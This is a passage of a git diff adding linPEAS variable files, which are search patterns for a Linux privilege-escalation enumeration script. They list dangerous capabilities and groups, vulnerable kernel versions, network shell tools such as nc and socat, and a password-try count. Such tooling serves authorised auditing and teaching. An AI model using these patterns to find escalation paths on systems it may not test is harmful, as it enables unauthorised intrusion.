ID: GREP_IGNORE_MOUNTS +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Ignore this strings when grepping mounts +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $GREP_IGNORE_MOUNTS +# Fat linpeas: 0 +# Small linpeas: 1 + + +GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/Groups.sh b/linPEAS/builder/linpeas_parts/variables/Groups.sh new file mode 100644 index 0000000..a0ca16d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/Groups.sh @@ -0,0 +1,16 @@ +# Title: Variables - Groups +# ID: Groups +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get groups of the current user +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $USER +# Initial Functions: +# Generated Global Variables: $Groups +# Fat linpeas: 0 +# Small linpeas: 1 + + +Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|') \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/INT_HIDDEN_FILES.sh b/linPEAS/builder/linpeas_parts/variables/INT_HIDDEN_FILES.sh new file mode 100644 index 0000000..7f255e0 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/INT_HIDDEN_FILES.sh @@ -0,0 +1,16 @@ +# Title: Variables - INT_HIDDEN_FILES +# ID: INT_HIDDEN_FILES +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Interesting hidden files +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $INT_HIDDEN_FILES +# Fat linpeas: 0 +# Small linpeas: 1 + + +INT_HIDDEN_FILES="peass{INT_HIDDEN_FILES}" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/LDD.sh b/linPEAS/builder/linpeas_parts/variables/LDD.sh new file mode 100644 index 0000000..1f04b00 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/LDD.sh @@ -0,0 +1,16 @@ +# Title: Variables - LDD +# ID: LDD +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Find ldd +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $LDD +# Fat linpeas: 0 +# Small linpeas: 1 + + +LDD="$(command -v ldd 2>/dev/null || echo -n '')" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/MyUID.sh b/linPEAS/builder/linpeas_parts/variables/MyUID.sh new file mode 100644 index 0000000..185f4b8 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/MyUID.sh @@ -0,0 +1,16 @@ +# Title: Variables - MyUID +# ID: MyUID +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: My UID +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $MyUID +# Fat linpeas: 0 +# Small linpeas: 1 + + +MyUID=$(id -u $(whoami)) \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/NGINX_KNOWN_MODULES.sh b/linPEAS/builder/linpeas_parts/variables/NGINX_KNOWN_MODULES.sh new file mode 100644 index 0000000..8346784 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/NGINX_KNOWN_MODULES.sh @@ -0,0 +1,16 @@ +# Title: Variables - NGINX_KNOWN_MODULES +# ID: NGINX_KNOWN_MODULES +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: known modules for nginx +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $NGINX_KNOWN_MODULES +# Fat linpeas: 0 +# Small linpeas: 1 + + +NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" diff --git a/linPEAS/builder/linpeas_parts/variables/NOUSEPS.sh b/linPEAS/builder/linpeas_parts/variables/NOUSEPS.sh new file mode 100644 index 0000000..fc26519 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/NOUSEPS.sh @@ -0,0 +1,18 @@ +# Title: Variables - NOUSEPS +# ID: NOUSEPS +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Don't use ps +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $NOUSEPS +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$(ps auxwww 2>/dev/null | wc -l 2>/dev/null)" -lt 8 ]; then + NOUSEPS="1" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/PASSTRY.sh b/linPEAS/builder/linpeas_parts/variables/PASSTRY.sh new file mode 100644 index 0000000..3ed0701 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/PASSTRY.sh @@ -0,0 +1,16 @@ +# Title: Variables - PASSTRY +# ID: PASSTRY +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Number of passwords to try +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $PASSTRY +# Fat linpeas: 0 +# Small linpeas: 1 + + +PASSTRY="2000" #Default num of passwds to try (all by default) \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/PATH.sh b/linPEAS/builder/linpeas_parts/variables/PATH.sh new file mode 100644 index 0000000..9346259 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/PATH.sh @@ -0,0 +1,26 @@ +# Title: Variables - PATH +# ID: PATH +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Path +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $PATH, $ADDPATH, $OLDPATH, $spath +# Fat linpeas: 0 +# Small linpeas: 1 + + +OLDPATH=$PATH +ADDPATH=":/usr/local/sbin\ + :/usr/local/bin\ + :/usr/sbin\ + :/usr/bin\ + :/sbin\ + :/bin" +spath=":$PATH" +for P in $ADDPATH; do + if [ "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi +done \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/READELF.sh b/linPEAS/builder/linpeas_parts/variables/READELF.sh new file mode 100644 index 0000000..e590c2d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/READELF.sh @@ -0,0 +1,16 @@ +# Title: Variables - READELF +# ID: READELF +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Find readelf +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $READELF +# Fat linpeas: 0 +# Small linpeas: 1 + + +READELF="$(command -v readelf 2>/dev/null || echo -n '')" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/STRACE.sh b/linPEAS/builder/linpeas_parts/variables/STRACE.sh new file mode 100644 index 0000000..fd877fb --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/STRACE.sh @@ -0,0 +1,16 @@ +# Title: Variables - STRACE +# ID: STRACE +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Find strace +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $STRACE +# Fat linpeas: 0 +# Small linpeas: 1 + + +STRACE="$(command -v strace 2>/dev/null || echo -n '')" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/STRINGS.sh b/linPEAS/builder/linpeas_parts/variables/STRINGS.sh new file mode 100644 index 0000000..55e3699 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/STRINGS.sh @@ -0,0 +1,16 @@ +# Title: Variables - STRINGS +# ID: STRINGS +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Find strings +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $STRINGS +# Fat linpeas: 0 +# Small linpeas: 1 + + +STRINGS="$(command -v strings 2>/dev/null || echo -n '')" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/TIMEOUT.sh b/linPEAS/builder/linpeas_parts/variables/TIMEOUT.sh new file mode 100644 index 0000000..1ada89d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/TIMEOUT.sh @@ -0,0 +1,16 @@ +# Title: Variables - TIMEOUT +# ID: TIMEOUT +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Find timeout +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $TIMEOUT +# Fat linpeas: 0 +# Small linpeas: 1 + + +TIMEOUT="$(command -v timeout 2>/dev/null || echo -n '')" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/TIP_DOCKER_ROOTLESS.sh b/linPEAS/builder/linpeas_parts/variables/TIP_DOCKER_ROOTLESS.sh new file mode 100644 index 0000000..a6f8455 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/TIP_DOCKER_ROOTLESS.sh @@ -0,0 +1,16 @@ +# Title: Variables - TIP_DOCKER_ROOTLESS +# ID: TIP_DOCKER_ROOTLESS +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: In rootless mode privilege escalation to root will not be possible. +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $TIP_DOCKER_ROOTLESS +# Fat linpeas: 0 +# Small linpeas: 1 + + +TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible." diff --git a/linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh b/linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh new file mode 100644 index 0000000..b83eba6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh @@ -0,0 +1,16 @@ +# Title: Variables - USEFUL_SOFTWARE +# ID: USEFUL_SOFTWARE +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Useful software +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $USEFUL_SOFTWARE +# Fat linpeas: 0 +# Small linpeas: 1 + + +USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm" diff --git a/linPEAS/builder/linpeas_parts/variables/baduid.sh b/linPEAS/builder/linpeas_parts/variables/baduid.sh new file mode 100644 index 0000000..e31ae28 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/baduid.sh @@ -0,0 +1,24 @@ +# Title: Variables - baduid +# ID: baduid +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Bad UID if greater than 2147483646 +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $MyUID +# Initial Functions: +# Generated Global Variables: $baduid, $myuid +# Fat linpeas: 0 +# Small linpeas: 1 + +if [ "$MyUID" ]; then + myuid=$MyUID; +elif [ $(id -u $(whoami) 2>/dev/null) ]; then + myuid=$(id -u $(whoami) 2>/dev/null); +elif [ "$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1)" ]; then + myuid=$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1); +fi + + +if [ $myuid -gt 2147483646 ]; then baduid="|$myuid"; fi diff --git a/linPEAS/builder/linpeas_parts/variables/capsB.sh b/linPEAS/builder/linpeas_parts/variables/capsB.sh new file mode 100644 index 0000000..727bb65 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/capsB.sh @@ -0,0 +1,16 @@ +# Title: Variables - capsVB +# ID: capsB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous capabilities to search +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $capsB +# Fat linpeas: 0 +# Small linpeas: 1 + + +capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module" diff --git a/linPEAS/builder/linpeas_parts/variables/capsVB.sh b/linPEAS/builder/linpeas_parts/variables/capsVB.sh new file mode 100644 index 0000000..70dcff7 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/capsVB.sh @@ -0,0 +1,24 @@ +# Title: Variables - capsVB +# ID: capsVB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Very dangerous capabilities to search +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $capsVB +# Fat linpeas: 0 +# Small linpeas: 1 + + +capsVB="cap_sys_admin:mount|python \ +cap_sys_ptrace:python \ +cap_sys_module:kmod|python \ +cap_dac_override:python|vim \ +cap_chown:chown|python \ +cap_former:chown|python \ +cap_setuid:peass{CAP_SETUID_HERE} \ +cap_setgid:peass{CAP_SETGID_HERE} \ +cap_net_raw:python|tcpdump" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/cfuncs.sh b/linPEAS/builder/linpeas_parts/variables/cfuncs.sh new file mode 100644 index 0000000..8ca04bf --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/cfuncs.sh @@ -0,0 +1,16 @@ +# Title: Variables - cfuncs +# ID: cfuncs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: C functions to search +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $cfuncs +# Fat linpeas: 0 +# Small linpeas: 1 + + +cfuncs='file|free|main|more|read|split|write' \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/commonrootdirsG.sh b/linPEAS/builder/linpeas_parts/variables/commonrootdirsG.sh new file mode 100644 index 0000000..e8b6112 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/commonrootdirsG.sh @@ -0,0 +1,16 @@ +# Title: Variables - commonrootdirsG +# ID: commonrootdirsG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Common root directories +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $commonrootdirsG +# Fat linpeas: 0 +# Small linpeas: 1 + + +commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$" diff --git a/linPEAS/builder/linpeas_parts/variables/commonrootdirsMacG.sh b/linPEAS/builder/linpeas_parts/variables/commonrootdirsMacG.sh new file mode 100644 index 0000000..fa78931 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/commonrootdirsMacG.sh @@ -0,0 +1,16 @@ +# Title: Variables - commonrootdirsMacG +# ID: commonrootdirsMacG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Common root directories in Mac +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $commonrootdirsMacG +# Fat linpeas: 0 +# Small linpeas: 1 + + +commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes" diff --git a/linPEAS/builder/linpeas_parts/variables/containercapsB.sh b/linPEAS/builder/linpeas_parts/variables/containercapsB.sh new file mode 100644 index 0000000..72708ed --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/containercapsB.sh @@ -0,0 +1,16 @@ +# Title: Variables - containercapsB +# ID: containercapsB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous capabilities to search in containers +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $containercapsB +# Fat linpeas: 0 +# Small linpeas: 1 + + +containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/cronjobsB.sh b/linPEAS/builder/linpeas_parts/variables/cronjobsB.sh new file mode 100644 index 0000000..920e63d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/cronjobsB.sh @@ -0,0 +1,16 @@ +# Title: Variables - cronjobsG +# ID: cronjobsB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous cronjobs to search +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $cronjobsB +# Fat linpeas: 0 +# Small linpeas: 1 + + +cronjobsB="centreon" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/cronjobsG.sh b/linPEAS/builder/linpeas_parts/variables/cronjobsG.sh new file mode 100644 index 0000000..8a7e7da --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/cronjobsG.sh @@ -0,0 +1,16 @@ +# Title: Variables - cronjobsG +# ID: cronjobsG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known cronjobs to search +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $cronjobsG +# Fat linpeas: 0 +# Small linpeas: 1 + + +cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/dbuslistG.sh b/linPEAS/builder/linpeas_parts/variables/dbuslistG.sh new file mode 100644 index 0000000..5d47d59 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/dbuslistG.sh @@ -0,0 +1,16 @@ +# Title: Variables - dbuslistG +# ID: dbuslistG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: List of known dbus services to search for +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $dbuslistG +# Fat linpeas: 0 +# Small linpeas: 1 + + +dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism" diff --git a/linPEAS/builder/linpeas_parts/variables/filename.sh b/linPEAS/builder/linpeas_parts/variables/filename.sh new file mode 100644 index 0000000..c8b4ee0 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/filename.sh @@ -0,0 +1,16 @@ +# Title: Variables - filename +# ID: filename +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Random filename +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $SCRIPTNAME, $RANDOM +# Initial Functions: +# Generated Global Variables: $filename +# Fat linpeas: 0 +# Small linpeas: 1 + + +filename="$SCRIPTNAME.txt$RANDOM" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/groupsB.sh b/linPEAS/builder/linpeas_parts/variables/groupsB.sh new file mode 100644 index 0000000..493fddf --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/groupsB.sh @@ -0,0 +1,16 @@ +# Title: Variables - groupsB +# ID: groupsB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous groups +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $groupsB +# Fat linpeas: 0 +# Small linpeas: 1 + + +groupsB="\(root\)|\(shadow\)|\(admin\)|\(video\)|\(adm\)|\(wheel\)|\(auth\)|\(staff\)" diff --git a/linPEAS/builder/linpeas_parts/variables/groupsVB.sh b/linPEAS/builder/linpeas_parts/variables/groupsVB.sh new file mode 100644 index 0000000..4e27dc2 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/groupsVB.sh @@ -0,0 +1,16 @@ +# Title: Variables - groupsVB +# ID: groupsVB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Very dangerous groups +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $groupsVB +# Fat linpeas: 0 +# Small linpeas: 1 + + +groupsVB="\(sudo\)|\(docker\)|\(lxd\)|\(disk\)|\(lxc\)" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/idB.sh b/linPEAS/builder/linpeas_parts/variables/idB.sh new file mode 100644 index 0000000..9e0977c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/idB.sh @@ -0,0 +1,16 @@ +# Title: Variables - idB +# ID: idB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous uid +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $baduid +# Initial Functions: +# Generated Global Variables: $idB +# Fat linpeas: 0 +# Small linpeas: 1 + + +idB="euid|egid$baduid" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/kernel.sh b/linPEAS/builder/linpeas_parts/variables/kernel.sh new file mode 100644 index 0000000..71f774e --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/kernel.sh @@ -0,0 +1,35 @@ +# Title: Variables - kernel +# ID: kernel +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Vulnerable old kernel versions +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $kernelB, $kernelDCW_Ubuntu_Precise_1, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5, $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7 +# Fat linpeas: 0 +# Small linpeas: 1 + + +kernelB=" 4.0.[0-9]+| 4.1.[0-9]+| 4.2.[0-9]+| 4.3.[0-9]+| 4.4.[0-9]+| 4.5.[0-9]+| 4.6.[0-9]+| 4.7.[0-9]+| 4.8.[0-9]+| 4.9.[0-9]+| 4.10.[0-9]+| 4.11.[0-9]+| 4.12.[0-9]+| 4.13.[0-9]+| 3.9.6| 3.9.0| 3.9| 3.8.9| 3.8.8| 3.8.7| 3.8.6| 3.8.5| 3.8.4| 3.8.3| 3.8.2| 3.8.1| 3.8.0| 3.8| 3.7.6| 3.7.0| 3.7| 3.6.0| 3.6| 3.5.0| 3.5| 3.4.9| 3.4.8| 3.4.6| 3.4.5| 3.4.4| 3.4.3| 3.4.2| 3.4.1| 3.4.0| 3.4| 3.3| 3.2| 3.19.0| 3.16.0| 3.15| 3.14| 3.13.1| 3.13.0| 3.13| 3.12.0| 3.12| 3.11.0| 3.11| 3.10.6| 3.10.0| 3.10| 3.1.0| 3.0.6| 3.0.5| 3.0.4| 3.0.3| 3.0.2| 3.0.1| 3.0.0| 2.6.9| 2.6.8| 2.6.7| 2.6.6| 2.6.5| 2.6.4| 2.6.39| 2.6.38| 2.6.37| 2.6.36| 2.6.35| 2.6.34| 2.6.33| 2.6.32| 2.6.31| 2.6.30| 2.6.3| 2.6.29| 2.6.28| 2.6.27| 2.6.26| 2.6.25| 2.6.24.1| 2.6.24| 2.6.23| 2.6.22| 2.6.21| 2.6.20| 2.6.2| 2.6.19| 2.6.18| 2.6.17| 2.6.16| 2.6.15| 2.6.14| 2.6.13| 2.6.12| 2.6.11| 2.6.10| 2.6.1| 2.6.0| 2.4.9| 2.4.8| 2.4.7| 2.4.6| 2.4.5| 2.4.4| 2.4.37| 2.4.36| 2.4.35| 2.4.34| 2.4.33| 2.4.32| 2.4.31| 2.4.30| 2.4.29| 2.4.28| 2.4.27| 2.4.26| 2.4.25| 2.4.24| 2.4.23| 2.4.22| 2.4.21| 2.4.20| 2.4.19| 2.4.18| 2.4.17| 2.4.16| 2.4.15| 2.4.14| 2.4.13| 2.4.12| 2.4.11| 2.4.10| 2.2.24" +kernelDCW_Ubuntu_Precise_1="3.1.1-1400-linaro-lt-mx5|3.11.0-13-generic|3.11.0-14-generic|3.11.0-15-generic|3.11.0-17-generic|3.11.0-18-generic|3.11.0-20-generic|3.11.0-22-generic|3.11.0-23-generic|3.11.0-24-generic|3.11.0-26-generic|3.13.0-100-generic|3.13.0-24-generic|3.13.0-27-generic|3.13.0-29-generic|3.13.0-30-generic|3.13.0-32-generic|3.13.0-33-generic|3.13.0-34-generic|3.13.0-35-generic|3.13.0-36-generic|3.13.0-37-generic|3.13.0-39-generic|3.13.0-40-generic|3.13.0-41-generic|3.13.0-43-generic|3.13.0-44-generic|3.13.0-46-generic|3.13.0-48-generic|3.13.0-49-generic|3.13.0-51-generic|3.13.0-52-generic|3.13.0-53-generic|3.13.0-54-generic|3.13.0-55-generic|3.13.0-57-generic|3.13.0-58-generic|3.13.0-59-generic|3.13.0-61-generic|3.13.0-62-generic|3.13.0-63-generic|3.13.0-65-generic|3.13.0-66-generic|3.13.0-67-generic|3.13.0-68-generic|3.13.0-71-generic|3.13.0-73-generic|3.13.0-74-generic|3.13.0-76-generic|3.13.0-77-generic|3.13.0-79-generic|3.13.0-83-generic|3.13.0-85-generic|3.13.0-86-generic|3.13.0-88-generic|3.13.0-91-generic|3.13.0-92-generic|3.13.0-93-generic|3.13.0-95-generic|3.13.0-96-generic|3.13.0-98-generic|3.2.0-101-generic|3.2.0-101-generic-pae|3.2.0-101-virtual|3.2.0-102-generic|3.2.0-102-generic-pae|3.2.0-102-virtual" +kernelDCW_Ubuntu_Precise_2="3.2.0-104-generic|3.2.0-104-generic-pae|3.2.0-104-virtual|3.2.0-105-generic|3.2.0-105-generic-pae|3.2.0-105-virtual|3.2.0-106-generic|3.2.0-106-generic-pae|3.2.0-106-virtual|3.2.0-107-generic|3.2.0-107-generic-pae|3.2.0-107-virtual|3.2.0-109-generic|3.2.0-109-generic-pae|3.2.0-109-virtual|3.2.0-110-generic|3.2.0-110-generic-pae|3.2.0-110-virtual|3.2.0-111-generic|3.2.0-111-generic-pae|3.2.0-111-virtual|3.2.0-1412-omap4|3.2.0-1602-armadaxp|3.2.0-23-generic|3.2.0-23-generic-pae|3.2.0-23-lowlatency|3.2.0-23-lowlatency-pae|3.2.0-23-omap|3.2.0-23-powerpc-smp|3.2.0-23-powerpc64-smp|3.2.0-23-virtual|3.2.0-24-generic|3.2.0-24-generic-pae|3.2.0-24-virtual|3.2.0-25-generic|3.2.0-25-generic-pae|3.2.0-25-virtual|3.2.0-26-generic|3.2.0-26-generic-pae|3.2.0-26-virtual|3.2.0-27-generic|3.2.0-27-generic-pae|3.2.0-27-virtual|3.2.0-29-generic|3.2.0-29-generic-pae|3.2.0-29-virtual|3.2.0-31-generic|3.2.0-31-generic-pae|3.2.0-31-virtual|3.2.0-32-generic|3.2.0-32-generic-pae|3.2.0-32-virtual|3.2.0-33-generic|3.2.0-33-generic-pae|3.2.0-33-lowlatency|3.2.0-33-lowlatency-p